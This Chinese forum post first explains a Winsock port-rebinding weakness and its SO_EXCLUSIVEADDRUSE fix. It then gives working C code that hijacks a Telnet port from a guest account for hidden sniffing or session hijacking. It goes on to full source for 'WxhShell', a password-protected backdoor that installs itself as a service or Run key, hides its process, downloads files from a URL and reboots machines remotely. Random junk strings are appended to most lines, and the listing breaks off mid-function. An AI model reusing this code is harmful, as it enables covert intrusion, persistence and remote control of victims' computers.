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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ht,+KbB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .P:mY C  
rYI7V?  
  saddr.sin_family = AF_INET; Z1dLC'/b]  
VN/v]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); huat,zLS  
%G`GdG}T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Wm^RfxgN/  
KD=W(\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o4t6NDa  
~PZIYG"D  
  这意味着什么?意味着可以进行如下的攻击: AZH= r S`  
]EWEW*'j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w D}g\{P  
/idrb c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *Dhy a g  
s(0"r.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hx?OCGj=S*  
yx\I&\i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M5Q7izM  
PRi1 `% d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7x''V5*j  
/%{Qf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "8l& m6`U-  
b?]Lx.l-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /H'F4->  
[bh8Nj\E  
  #include ZnNl3MKV  
  #include 1m4Xl%KS>  
  #include t3 rQ5m  
  #include    ;r3Xh)k;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <$@*'i^7Ez  
  int main() U][\|8i  
  { 7^FJ+gN8b  
  WORD wVersionRequested; !v\ _<8  
  DWORD ret; }UzRFIcv  
  WSADATA wsaData; w!--K9  
  BOOL val; 6 k+4R<  
  SOCKADDR_IN saddr; WlHK  
  SOCKADDR_IN scaddr; X:kr$  
  int err; > }fw7X  
  SOCKET s; Bm$(4  
  SOCKET sc; y!u=]BE  
  int caddsize; * LOUf7`  
  HANDLE mt; xcM*D3  
  DWORD tid;   OzA'd\|  
  wVersionRequested = MAKEWORD( 2, 2 ); (iJ9ekB  
  err = WSAStartup( wVersionRequested, &wsaData ); 3aUWQP2  
  if ( err != 0 ) { Vo`,|3^  
  printf("error!WSAStartup failed!\n"); 8Cef ]@x  
  return -1; E (-@F%Q  
  } "n%0L4J  
  saddr.sin_family = AF_INET; Ql]+,^kA@  
   ~]V}wZt>h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8nE}RD7bx  
:lE_hY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $I|6v  
  saddr.sin_port = htons(23); UfSqiu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =-%10lOI  
  { PD $' ~2  
  printf("error!socket failed!\n"); | IB4-p  
  return -1; P}~nL  
  } cnraNq1  
  val = TRUE; EPiZe-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nm#,oX2C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 60z8U#upM  
  { hCpcX"wND  
  printf("error!setsockopt failed!\n"); _ K Ix7  
  return -1; T*{nf  
  } A +41JMH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c-oIP~,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uW0Dm#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d}^G790  
W|CZA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W,f XHYst  
  { 6%a:^f]  
  ret=GetLastError(); @8eQ|.q]Q  
  printf("error!bind failed!\n"); <c.8f;1F  
  return -1; gGE&}EoLU  
  } P$#{a2  
  listen(s,2); SX]uIkw  
  while(1) !g7lJ\B  
  { lPZYd 8  
  caddsize = sizeof(scaddr); +x]3 - s  
  //接受连接请求 <`?V:};Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qAW?\*n5N  
  if(sc!=INVALID_SOCKET) TD-o-*mO  
  { p;Nq(=] \  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Sp/<%+2(  
  if(mt==NULL) }l7@:ezZZ7  
  { YhQ%S}  
  printf("Thread Creat Failed!\n"); h.jO3q  
  break; pD17r}%  
  } sc&u NfJ  
  } O9ar|8y  
  CloseHandle(mt); n?:%>Os$  
  } * zt?y  
  closesocket(s); A/!"+Yfw  
  WSACleanup(); ps_q3Cyp  
  return 0; jSMxba]  
  }   8(>2+#exw  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2 9#jKh  
  { Q.,2G7[ <  
  SOCKET ss = (SOCKET)lpParam; 8Z!Mad  
  SOCKET sc; T#GTNk!v  
  unsigned char buf[4096]; 26ae|2?  
  SOCKADDR_IN saddr; l i) 5o  
  long num; UY (\T8  
  DWORD val; Qs,4PPEg  
  DWORD ret; LYO2L1u)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v>/_U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B!1h"K5.($  
  saddr.sin_family = AF_INET; {s>V'+H(F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +~$pkxD"  
  saddr.sin_port = htons(23); G^V a$ike  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mp?L9  
  { GK=b  
  printf("error!socket failed!\n"); 8Dkq+H93  
  return -1; ,lcS J^yr  
  } L6./5`bs  
  val = 100; xF6byTi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l5/gM[0_7  
  { tU0jFBB  
  ret = GetLastError(); C}qHvwFm  
  return -1; mXs.@u/  
  } $wC'qV *  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FfNUFx2N  
  { &%`WXe-`R  
  ret = GetLastError(); X ?U'GLm  
  return -1; H[RX~Xk2E  
  } 8n35lI ( [  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y@Ur}  
  { e}+Zj'5  
  printf("error!socket connect failed!\n"); _FxeZ4\  
  closesocket(sc); @{"?fqo  
  closesocket(ss); :gn&wi  
  return -1;  {H*  
  } jG{OLF6 !  
  while(1) > f'aW  
  { '+\t,>nRkl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x~Dj2 F]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r{ KQ3j9O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IGOEqUw*  
  num = recv(ss,buf,4096,0); 82iFk`)T  
  if(num>0) =!\Y;rk  
  send(sc,buf,num,0); p\R&vof*  
  else if(num==0) Xe&p.v  
  break; qKrxln/T  
  num = recv(sc,buf,4096,0); waU2C2!w  
  if(num>0) h[mJ=LIrg  
  send(ss,buf,num,0); wjfq"7Q  
  else if(num==0) 6qSsr]  
  break; ~owodc  
  } ?,i}Qr [Q  
  closesocket(ss); iK=QP+^VN  
  closesocket(sc); qOy0QZ#0  
  return 0 ; [ eb k u_  
  } \CX6~  
adPd}rt;  
f] _'icP  
========================================================== 0xY</S  
pzZ+!d  
下边附上一个代码,,WXhSHELL =*R6 O,  
E\ls- (,  
========================================================== MdN0 Y@Ll  
THARr#1b};  
#include "stdafx.h" O?O=]s u  
?:h*=0>  
#include <stdio.h> N=\weuED  
#include <string.h> <_c8F!K)T  
#include <windows.h> bObsj]  
#include <winsock2.h> Nz}PcWF/  
#include <winsvc.h> q[GD K^-g  
#include <urlmon.h> [X91nUz#  
wh)F&@6 R!  
#pragma comment (lib, "Ws2_32.lib") &%%ix#iF  
#pragma comment (lib, "urlmon.lib") 5YneoM]Q  
>7PNl\=gG  
#define MAX_USER   100 // 最大客户端连接数 PW82 Vp.  
#define BUF_SOCK   200 // sock buffer Au6Y]  
#define KEY_BUFF   255 // 输入 buffer !6x7^E;c  
CW2)1%1iz  
#define REBOOT     0   // 重启 9VanR ::XX  
#define SHUTDOWN   1   // 关机 `ZbFky{  
!*f$*,=^  
#define DEF_PORT   5000 // 监听端口 QIg'js$W  
C T\@>!'f  
#define REG_LEN     16   // 注册表键长度 7WwE] ^M  
#define SVC_LEN     80   // NT服务名长度 ~GcWG4  
?(n v_O  
// 从dll定义API Xdw pn+7s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }=}wLm#&1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |-;VnC&UY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JHXkQz[Jb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); On54!m  
@mmnr?_w  
// wxhshell配置信息 $rlrR'[H  
struct WSCFG { y/5GY,z%aL  
  int ws_port;         // 监听端口 rOz1tY)l0d  
  char ws_passstr[REG_LEN]; // 口令 ,ryL( "G  
  int ws_autoins;       // 安装标记, 1=yes 0=no R1D ;  
  char ws_regname[REG_LEN]; // 注册表键名 u`&lTJgF/O  
  char ws_svcname[REG_LEN]; // 服务名 %~y>9K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sg4{IU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |-)8=QDz)r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #=VYq4B=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nke!!A}\|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tU5uL.( O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dt^h9I2O  
fvcS=nRQv  
}; ?^M,Mt  
7Y R|6{@  
// default Wxhshell configuration y$_@C8?H  
struct WSCFG wscfg={DEF_PORT, R|v'+bv  
    "xuhuanlingzhe", H]pI$t3~  
    1, yIrJaS-  
    "Wxhshell", XbqMWQN*  
    "Wxhshell", ]8}51y8  
            "WxhShell Service", o<G#%9j  
    "Wrsky Windows CmdShell Service", AYgXqmH~+  
    "Please Input Your Password: ", u*TC8!n  
  1, DU0/if9.  
  "http://www.wrsky.com/wxhshell.exe", Pc_aEBq  
  "Wxhshell.exe" 76wNZv) 9  
    }; }f]Y^>-Ux  
Z&Ciy n  
// 消息定义模块 5nUJ9sqA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ml7 (<J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BHf$ %?3z,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d&[RfZ`  
char *msg_ws_ext="\n\rExit."; ]%)<9 ]}  
char *msg_ws_end="\n\rQuit."; ,wwO0,"y7  
char *msg_ws_boot="\n\rReboot..."; kQ lU.J>^  
char *msg_ws_poff="\n\rShutdown..."; dH!z<~  
char *msg_ws_down="\n\rSave to "; ,/D}a3JD  
Z*q9vX  
char *msg_ws_err="\n\rErr!"; gf1+yJ^d!  
char *msg_ws_ok="\n\rOK!"; Dlq !:dF{&  
KWZhCS?[(  
char ExeFile[MAX_PATH]; #<S*MGp!=  
int nUser = 0; qh:Bc$S  
HANDLE handles[MAX_USER]; }Nsdk',}  
int OsIsNt; D%abBE1  
USEb} M`  
SERVICE_STATUS       serviceStatus; 0z8?6~M;<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jsysk $R  
 L23}{P  
// 函数声明 _ i}W1i  
int Install(void); l2qvYNMw  
int Uninstall(void); N,c!1: b  
int DownloadFile(char *sURL, SOCKET wsh); D2?H"PH  
int Boot(int flag); )63 $,y-;$  
void HideProc(void); dPwyiV0  
int GetOsVer(void); L%T(H<G  
int Wxhshell(SOCKET wsl); .VCY|KZ  
void TalkWithClient(void *cs); pA6KiY&  
int CmdShell(SOCKET sock); EUi 70h +  
int StartFromService(void); yQE'!m  
int StartWxhshell(LPSTR lpCmdLine); MQQm3VaKS  
]7O<|8n!d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;^5k_\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yGdX>h  
 Zgo~"G  
// 数据结构和表定义 `8ac;b  
SERVICE_TABLE_ENTRY DispatchTable[] = s*ZE`/SM3  
{ kFv*>>X`  
{wscfg.ws_svcname, NTServiceMain}, t$18h2yOL  
{NULL, NULL} ;:fW]5"R  
}; rG}e\ziKuj  
4,e'B-.  
// 自我安装 6 Rl[M+Q  
int Install(void) [OW <<6  
{ Do/R.Mgy*  
  char svExeFile[MAX_PATH]; /ce;-3+  
  HKEY key; c Mgd  
  strcpy(svExeFile,ExeFile); #wI}93E  
}IyF |[  
// 如果是win9x系统,修改注册表设为自启动 j#1G?MF  
if(!OsIsNt) { }OpUG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P.'.KZJ:WD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u^~7[OkE  
  RegCloseKey(key); 3m1(l?fp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rm8Ys61\=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +;?mg(:  
  RegCloseKey(key); @-'a{hBR  
  return 0; Aqmpo3P[+  
    } h Ma;\k  
  } H~a ~ 'tm  
} fQJ`&9m*BF  
else { H648[H[k  
d:@+dS  
// 如果是NT以上系统,安装为系统服务 <+_XGOt0<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >R+-mP!nj  
if (schSCManager!=0) X zJ#)}f  
{ {^WK#$]  
  SC_HANDLE schService = CreateService @>)VQf8s1  
  ( -&Z!b!jN  
  schSCManager, +/~]fI  
  wscfg.ws_svcname, Xp:A;i9  
  wscfg.ws_svcdisp, /jG?PZ=m  
  SERVICE_ALL_ACCESS, }a7d(7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mn7I# ~  
  SERVICE_AUTO_START, R2,9%!iiX  
  SERVICE_ERROR_NORMAL, m+<&NDj.  
  svExeFile, b/M/)o!C  
  NULL, /4G1,T_,  
  NULL, Ti%MOYNCv  
  NULL, D&G6^ME  
  NULL, .a.H aBBV  
  NULL rH3U;K!  
  ); P`biHs8O  
  if (schService!=0) *;fTiL  
  { IT| h;NUG  
  CloseServiceHandle(schService); L4>14D\  
  CloseServiceHandle(schSCManager); 9>)b6)J D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^kKLi  
  strcat(svExeFile,wscfg.ws_svcname); )9YDNVo*-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZnEgU}g<2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (Q*q# U  
  RegCloseKey(key); 0D(8-H  
  return 0; OS(`H5D  
    } .z>/A /&+  
  } x MJ-=  
  CloseServiceHandle(schSCManager);  FA+HR  
} .xT?%xSi/  
} (a[BvJf  
5pCicwea#  
return 1; <= 4$.2ym  
} uY]';Ot G  
. g#}2:3  
// 自我卸载 4uXGp sL  
int Uninstall(void) K4Q{U@ZJ  
{ 9@*pC@I)  
  HKEY key; h4hAzFQ.s  
?"yjgt7+y  
if(!OsIsNt) { !j6 k]BgZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s41%A2Enh  
  RegDeleteValue(key,wscfg.ws_regname); <Wn~s=  
  RegCloseKey(key); suN6(p(.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9xQ|Uad+%  
  RegDeleteValue(key,wscfg.ws_regname); /5,6 {R9  
  RegCloseKey(key); 2{ F-@}=  
  return 0; |]&3*%b@  
  } >z<L60S  
} q,P.)\0A  
} /!]K+6>u  
else { 7X$CJ%6b  
iC#a+G*N_M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '.v;/[0  
if (schSCManager!=0) 56pj(}eq  
{ ]Jswxw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b] 5dBZ(  
  if (schService!=0) ~VsN\!G  
  { mB`HPT  
  if(DeleteService(schService)!=0) { D?KLV _Op  
  CloseServiceHandle(schService); NS[Z@@  
  CloseServiceHandle(schSCManager); Ku[q #_7  
  return 0; LphCx6f,X  
  } $<-a>~^Tp  
  CloseServiceHandle(schService); OLG)D#m(4/  
  } b 8@}Jv  
  CloseServiceHandle(schSCManager); i+`8$uz  
} ,a5q62)q  
} 4Wl`hF  
Es[3Ppz  
return 1; lMgguu~qg  
} AF:_&gF  
L'wR$  
// 从指定url下载文件 =c6d $  
int DownloadFile(char *sURL, SOCKET wsh) ^tTM 7  
{ a!o%x  
  HRESULT hr; ) 8xbc&M  
char seps[]= "/"; b'O/u."O  
char *token; [r2V+b.C  
char *file; >l0Qd1   
char myURL[MAX_PATH]; =d;a1AO{&  
char myFILE[MAX_PATH]; Jq^[^  
M(> 74(}]  
strcpy(myURL,sURL); zw3I(_d[  
  token=strtok(myURL,seps); -c>3|bo  
  while(token!=NULL) ndQw>  
  { PcsYy]Q/  
    file=token; mU[\//  
  token=strtok(NULL,seps); ^@x&n)nzP  
  } T>'w]wi  
"/R?XCBZsb  
GetCurrentDirectory(MAX_PATH,myFILE); %qV:h#  
strcat(myFILE, "\\"); Ea4zC|;  
strcat(myFILE, file); ]+G .S-a  
  send(wsh,myFILE,strlen(myFILE),0); 1#Vd)vSP  
send(wsh,"...",3,0); Yv1yRoDv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2z;nPup,  
  if(hr==S_OK) pauO_'j_1p  
return 0; =bp'5h8_  
else /%g@ ;  
return 1; Af\@J6viF7  
EuHQp7  
} );HhV,$n  
2H;#L`Z*  
// 系统电源模块 p4uzw  
int Boot(int flag) U>n[R/~]  
{ V'b4wO1RV  
  HANDLE hToken; M[985bl  
  TOKEN_PRIVILEGES tkp; ~JRq :  
;Q t%>Uo8  
  if(OsIsNt) { @CM5e!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0s8fF"$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5Y;&L!T  
    tkp.PrivilegeCount = 1; /\e_B6pF<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p63fpnH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q>+!Ete1p  
if(flag==REBOOT) { NP3 e^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HMD\)vMK6  
  return 0; /{j._4c  
} yFm88  
else { )W_akUL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;QVTb3Th  
  return 0; |QZ E  
} [VX5r1-F  
  } 0`pCgF  
  else { <XrXs  
if(flag==REBOOT) { ?yG[VW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "Pc}-&  
  return 0; JV,h1/a("  
} |a) zuC  
else { r7R39#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E;H9]*x/  
  return 0; 9y[U\[H  
} ;Mmu}  
} LT)I ?ud  
:/gHqEC24  
return 1; #HP-ne; #  
} Jr'a_ (~  
+b_[JP2  
// win9x进程隐藏模块 V}`ri~  
void HideProc(void) ]?V:+>t=  
{ 07=I&Pum  
S5gBVGh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h143HXBi1+  
  if ( hKernel != NULL ) XlXt,  
  { pq_U?_5Z'r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); leF!Uog  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g3Q;]8Y&  
    FreeLibrary(hKernel); y<HNAG j  
  } o;DK]o>kH  
By9CliOy:  
return; 7'At_oG  
} EajJv>X7  
x44V 9-o  
// 获取操作系统版本 7z{N}  
int GetOsVer(void) Cj}H'k<B  
{ (:]+IjnE  
  OSVERSIONINFO winfo; %* K zP{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *N: $,xf  
  GetVersionEx(&winfo); : ^p aI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qHheF%[\5  
  return 1; 'cu14m_  
  else oP T)vN?  
  return 0; +tt!xfy  
} : &nF>  
48S NI  
// 客户端句柄模块 yIr0D 6L  
int Wxhshell(SOCKET wsl) /]0SF_dZ  
{ l['p^-I  
  SOCKET wsh; M*cF'go  
  struct sockaddr_in client; FbMtor  
  DWORD myID; y5KeUMcu  
LRaO}-<b  
  while(nUser<MAX_USER) { 2Ew^Li  
{ <5Ll<0  
  int nSize=sizeof(client); s1sn,?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7}Mnv WP  
  if(wsh==INVALID_SOCKET) return 1; ;xUo(^t7>  
`<P:l y.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FjizPg/|!  
if(handles[nUser]==0) >S0kiGDV{  
  closesocket(wsh); ]ZP!y  
else FSz<R*2  
  nUser++; m8 _yorz  
  } M/lC&F(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); db_}][;.c  
Y~!A"$   
  return 0; ZI4dD.B  
} F/1m&1t  
B#`'h~(7  
// 关闭 socket 1R yE8DdP  
void CloseIt(SOCKET wsh) gH,Pz  
{ h 2JmRO  
closesocket(wsh); =z"8#_3A  
nUser--; t_16icF9U  
ExitThread(0); PJ&L7   
} $0OOH4  
&PApO{#Q  
// 客户端请求句柄 ai?N!RX%H  
void TalkWithClient(void *cs) O#):*II`9  
{ 8QL=%Pv  
HCkfw+gaV  
  SOCKET wsh=(SOCKET)cs; V )UtU L  
  char pwd[SVC_LEN]; 3b#L*-  
  char cmd[KEY_BUFF]; ;ThFB  
char chr[1]; 4Z=`;  
int i,j; ] >w@@A  
&tf(vU;,'  
  while (nUser < MAX_USER) { k' Fu&r  
A)j!Wgs^z  
if(wscfg.ws_passstr) {  ~H   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }kItVx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G;W2Z,  
  //ZeroMemory(pwd,KEY_BUFF); K0B<9Wi |  
      i=0; 79}jK"Gc  
  while(i<SVC_LEN) { MwQ4&z#wh  
O^6anUV0  
  // 设置超时 _!vy|,w@e  
  fd_set FdRead; =-r); d  
  struct timeval TimeOut; y3j"vKG  
  FD_ZERO(&FdRead); d-m.aP)y:  
  FD_SET(wsh,&FdRead); Q@PDhISa  
  TimeOut.tv_sec=8; ]xoG{%vgb  
  TimeOut.tv_usec=0; C4gES"T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 34"PtWbV>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  .9r85  
%{3q=9ii  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7{w}0PMx  
  pwd=chr[0]; %\|{_]h}y  
  if(chr[0]==0xd || chr[0]==0xa) { QY<5o;m`  
  pwd=0; '+vmC*-I(  
  break; r_,;[+!  
  } `jr?I {m;  
  i++; Ya!%o> J%t  
    } D*PEIsV  
.,#H]?Wil  
  // 如果是非法用户,关闭 socket Wi!"V cn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $)X8'1%6  
} KUm?gFh  
P7Qel,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]e7?l/N[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e3p:lu  
Ok\X%avq  
while(1) { Q[q`)~|  
L1DH9wiQi  
  ZeroMemory(cmd,KEY_BUFF); vp*+C kd  
;b1B*B  
      // 自动支持客户端 telnet标准   i`+bSg  
  j=0; T,>L  
  while(j<KEY_BUFF) { nfGI4ZE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %.$7-+:7A  
  cmd[j]=chr[0]; cL03V?} ~  
  if(chr[0]==0xa || chr[0]==0xd) { H=f| X<8  
  cmd[j]=0; ]b sabS?  
  break; mK"s*tD  
  } '6>*J  
  j++; <LXx_{=:  
    } @@{5]Y  
o59$v X,  
  // 下载文件 XG C\6?L~  
  if(strstr(cmd,"http://")) { vDi Opd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <Up ?w/9  
  if(DownloadFile(cmd,wsh)) kmt1vV.9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f38e(Q];m  
  else 6'@{ * u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x{<l8vL=-c  
  } E!mv}  
  else { 'x"(OdM:[  
2=0HQXXrq  
    switch(cmd[0]) { 8=joVbs  
  udLIAV*  
  // 帮助 6j6;lNUc  
  case '?': { fxr#T'i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {N/%%O.b  
    break; xz5A[)N  
  } zUv#%Q8vw  
  // 安装 6},[HpXRc4  
  case 'i': { n;N79`mZC  
    if(Install()) ^w.]1x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G\;6n  
    else xb9+-{<J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S 593wfc  
    break; g; ] '  
    } IVxZ.5:L$  
  // 卸载 1TGRIe)  
  case 'r': { *0eU_*A^zO  
    if(Uninstall()) ty pbwfM]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P}A!C9Frh  
    else Fr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P+|L6w*|[  
    break; v*=P  
    } Ox-eB  
  // 显示 wxhshell 所在路径 emnT;kJ>  
  case 'p': { Pn[oo_)s  
    char svExeFile[MAX_PATH]; ]SRpMZ  
    strcpy(svExeFile,"\n\r"); A0k?$ko  
      strcat(svExeFile,ExeFile); ]- `wXi"  
        send(wsh,svExeFile,strlen(svExeFile),0); ^ W?cuJ8  
    break; 3)\fZYu)  
    } X|eZpIA45  
  // 重启 )S2yU<6oOt  
  case 'b': { s:"Sbml  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0.n[_?<(  
    if(Boot(REBOOT)) flFdoEV.U)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d,JDfG)  
    else { @&WHX#  
    closesocket(wsh); Jut&J]{h  
    ExitThread(0); u YT$$'S  
    } ` K {k0_{  
    break; ';/J-l/SE  
    } 0Q_*Z (  
  // 关机 LjG^c>[:m  
  case 'd': { 'D ?o^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oR=i5lAU  
    if(Boot(SHUTDOWN)) |.UY' B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q^rR}Ws  
